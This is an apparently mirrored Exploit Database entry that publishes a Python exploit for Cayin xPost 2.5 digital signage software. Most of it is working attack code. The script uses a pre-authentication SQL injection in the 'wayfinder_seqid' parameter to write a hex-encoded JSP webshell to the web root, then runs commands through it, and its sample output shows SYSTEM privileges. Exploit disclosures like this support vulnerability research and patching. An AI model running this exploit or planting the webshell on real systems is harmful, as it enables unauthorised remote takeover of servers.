Cayin Digital Signage System xPost 2.5 – Remote Command Injection

Exploit Database
121 阅读

作者： LiquidWorm

日期： 2020-06-04
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/48558/

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# Title: Cayin Digital Signage System xPost 2.5 - Remote Command Injection

# Author:LiquidWorm

# Date: 2020-06-04

# Vendor: https://www.cayintech.com

# CVE:N/A

#!/usr/bin/env python3

# Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution

# Vendor: CAYIN Technology Co., Ltd.

# Product web page: https://www.cayintech.com

# Affected version: 2.5.18103

# 2.0

# 1.0

# Summary: CAYIN xPost is the web-based application software, which offers a

# combination of essential tools to create rich contents for digital signage in

# different vertical markets. It provides an easy-to-use platform for instant

# data entry and further extends the usage of CAYIN SMP players to meet users'

# requirements of frequent, daily maintenance.

# Desc: CAYIN xPost suffers from an unauthenticated SQL Injection vulnerability.

# Input passed via the GET parameter 'wayfinder_seqid' in wayfinder_meeting_input.jsp

# is not properly sanitised before being returned to the user or used in SQL queries.

# This can be exploited to manipulate SQL queries by injecting arbitrary SQL code

# and execute SYSTEM commands.

# --------------------------------------------------------------------------------

# lqwrm@zslab:~$ python3 wayfinder.py 192.168.2.1:8888

# # Injecting...

# # Executing...

# Command: whoami

# nt authority\system

# You have a webshell @ http://192.168.2.1:8888/thricer.jsp

# lqwrm@zslab:~$

# --------------------------------------------------------------------------------

# Tested on: Microsoft Windows 10 Home

#Microsoft Windows 8.1

#Microsoft Windows Server 2016

#Microsoft Windows Server 2012

#Microsoft Windows 7 Ultimate SP1

#Apache Tomcat/9.0.1

#MySQL/5.0

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2020-5571

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php

# 15.05.2020

import requests as req

import time as vremeto

import sys as sistemot

import re as regularno

if len(sistemot.argv) < 2:

print("Cayin xPost 2.5 Pre-Auth SQLi RCE")

print("Usage: ./wayfinder.py ip:port")

sistemot.exit(19)

else:

ip = sistemot.argv[1]

filename = "thricer.jsp"

urlpath = "/cayin/wayfinder/wayfinder_meeting_input.jsp?wayfinder_seqid="

constr = "-251' UNION ALL SELECT "

print("# Injecting...")

cmdjsp= "0x3c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612"

cmdjsp += "e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d64"

cmdjsp += "2e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0"

cmdjsp += "a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f"

cmdjsp += "323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484"

cmdjsp += "f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c"

cmdjsp += "494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e505"

cmdjsp += "55420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f"

cmdjsp += "524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657"

cmdjsp += "465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e70"

cmdjsp += "72696e746c6e2822436f6d6d616e643a2022202b20726571756573742e67657450617"

cmdjsp += "2616d657465722822636d642229202b20223c42523e22293b0a202020202020202050"

cmdjsp += "726f636573732070203d2052756e74696d652e67657452756e74696d6528292e65786"

cmdjsp += "56328726571756573742e676574506172616d657465722822636d642229293b0a2020"

cmdjsp += "2020202020204f757470757453747265616d206f73203d20702e6765744f757470757"

cmdjsp += "453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d"

cmdjsp += "20702e676574496e70757453747265616d28293b0a202020202020202044617461496"

cmdjsp += "e70757453747265616d20646973203d206e65772044617461496e7075745374726561"

cmdjsp += "6d28696e293b0a2020202020202020537472696e672064697372203d206469732e726"

cmdjsp += "561644c696e6528293b0a20202020202020207768696c652028206469737220213d20"

cmdjsp += "6e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746"

cmdjsp += "c6e2864697372293b200a2020202020202020202020202020202064697372203d2064"

cmdjsp += "69732e726561644c696e6528293b200a202020202020202020202020202020207d0a2"

cmdjsp += "0202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a"

cmdjsp += "0a0a"

columns = ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL "

sqlwrite = "INTO DUMPFILE 'C:/CayinApps/webapps/" + filename + "'-- -"

mysqli = constr + cmdjsp + columns + sqlwrite

r = req.get("http://" + ip + urlpath + mysqli, allow_redirects = True)

vremeto.sleep(1)

print("# Executing...")

r = req.get("http://" + ip + "/" + filename + "?cmd=whoami")

clean = regularno.compile("<pre>(.*)</pre>", flags = regularno.S).search(r.text)

clean = clean.group(1).replace("<BR>", "\n")

print(clean)

print("You have a webshell @ http://" + ip + "/" + filename)